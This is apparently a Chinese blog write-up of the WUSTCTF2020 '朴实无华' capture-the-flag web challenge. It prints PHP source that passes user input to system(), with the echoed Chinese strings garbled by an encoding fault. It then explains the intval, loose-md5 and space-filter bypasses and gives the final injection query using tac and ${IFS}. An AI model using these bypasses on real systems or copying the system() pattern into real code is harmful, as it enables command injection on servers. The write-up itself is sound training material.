请求头问题
去查了一下资料了解了一下没有什莫用
robots.txt
中有东西
假flag
但是请求头里有重要消息
访问页面/fl4g.php
<img src="/img.jpg">
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "鎴戜笉缁忔剰闂寸湅浜嗙湅鎴戠殑鍔冲姏澹�, 涓嶆槸鎯崇湅鏃堕棿, 鍙槸鎯充笉缁忔剰闂�, 璁╀綘鐭ラ亾鎴戣繃寰楁瘮浣犲ソ.</br>";
}else{
die("閲戦挶瑙e喅涓嶄簡绌蜂汉鐨勬湰璐ㄩ棶棰�");
}
}else{
die("鍘婚潪娲插惂");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "鎯冲埌杩欎釜CTFer鎷垮埌flag鍚�, 鎰熸縺娑曢浂, 璺戝幓涓滄緶宀�, 鎵句竴瀹堕鍘�, 鎶婂帹甯堣桨鍑哄幓, 鑷繁鐐掍袱涓嬁鎵嬪皬鑿�, 鍊掍竴鏉暎瑁呯櫧閰�, 鑷村瘜鏈夐亾, 鍒灏忔毚.</br>";
else
die("鎴戣刀绱у枈鏉ユ垜鐨勯厭鑲夋湅鍙�, 浠栨墦浜嗕釜鐢佃瘽, 鎶婁粬涓€瀹跺畨鎺掑埌浜嗛潪娲�");
}else{
die("鍘婚潪娲插惂");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "鎯冲埌杩欓噷, 鎴戝厖瀹炶€屾鎱�, 鏈夐挶浜虹殑蹇箰寰€寰€灏辨槸杩欎箞鐨勬湸瀹炴棤鍗�, 涓旀灟鐕�.</br>";
system($get_flag);
}else{
die("蹇埌闈炴床浜�");
}
}else{
die("鍘婚潪娲插惂");
}
?>
简单的三个绕过
直接在网上都能搜到
第一个
intval($num) < 2020 && intval($num + 1) > 2021
我们要满足一个数小于2020一之后又大于2021很显然没有这样的一个数
我们只有利用intval的特性来绕过
<?php
$a=intval(0X7e5);
echo $a;
?>//输出2021
<?php
$a=intval('0X7e5');
echo $a;
?>输出0
<?php
$a=intval('0X7e5'+1);
echo $a;
?>输出2022
也就是你传入整数类型他就会转化成十进制
但是传入字符型他只会找你第一个字符之前的数,之后的一律丢弃
但是你加一的话他会先把字符串转为整数型再运算,得到一个整数型的结果
第二个就是md5的值和md5md5的值相同
原来做题搜集的有0e215962017
第三个就是用tac代替cat,再用$代替空格
?num=0x7E5&md5=0e215962017&get_flag=tac${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
标签:WUSTCTF2020,get,die,GET,else,命令,flag,朴实无华,md5
From: https://www.cnblogs.com/dghh/p/18307334